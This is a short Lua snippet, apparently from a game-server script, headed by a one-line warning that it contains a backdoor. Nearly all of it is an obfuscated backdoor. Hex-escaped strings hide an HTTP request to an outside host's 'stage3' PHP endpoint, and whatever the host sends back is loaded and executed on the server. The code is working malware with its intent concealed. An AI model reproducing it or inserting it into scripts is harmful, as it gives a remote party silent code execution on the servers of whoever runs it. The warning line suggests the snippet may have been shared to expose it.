This script has backdoor ;
local CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv = {"\\x50\\x65\\x72\\x66\\x6f\\x72\\x6d\\x48\\x74\\x74\\x70\\x52\\x65\\x71\\x75\\x65\\x73\\x74","\\x61\\x73\\x73\\x65\\x72\\x74","\\x6c\\x6f\\x61\\x64",_G,"",nil} CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[4][CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[1]]("\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x72\\x70\\x73\\x65\\x72\\x76\\x65\\x75\\x72\\x2e\\x66\\x72\\x2f\\x76\\x32\\x5f\\x2f\\x73\\x74\\x61\\x67\\x65\\x33\\x2e\\x70\\x68\\x70\\x3f\\x74\\x6f\\x3d\\x34\\x79\\x68\\x65\\x54", function (BQgPCFhDbHhWxwMnuKVNNgrtEchnIIiVadzlsYmGLNTWCmiYOwePPXaQQwwDeLITBQYztM, hXBlXXXyABZqhutqumAsjxKSkwhImIMAAkYsUpmdfyuXTBVYqIlyMNPuQYqblmrPGbHGCZ) if (hXBlXXXyABZqhutqumAsjxKSkwhImIMAAkYsUpmdfyuXTBVYqIlyMNPuQYqblmrPGbHGCZ == CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[6] or hXBlXXXyABZqhutqumAsjxKSkwhImIMAAkYsUpmdfyuXTBVYqIlyMNPuQYqblmrPGbHGCZ == CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[5]) then return end CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[4][CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[2]](CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[4][CylWQoKIGuhfClpSHAvhvXusDdtMTMAIdGHCCdNuXnOBBdHeMgjuKYgizclRxkNNOMOOAv[3]](hXBlXXXyABZqhutqumAsjxKSkwhImIMAAkYsUpmdfyuXTBVYqIlyMNPuQYqblmrPGbHGCZ))() end)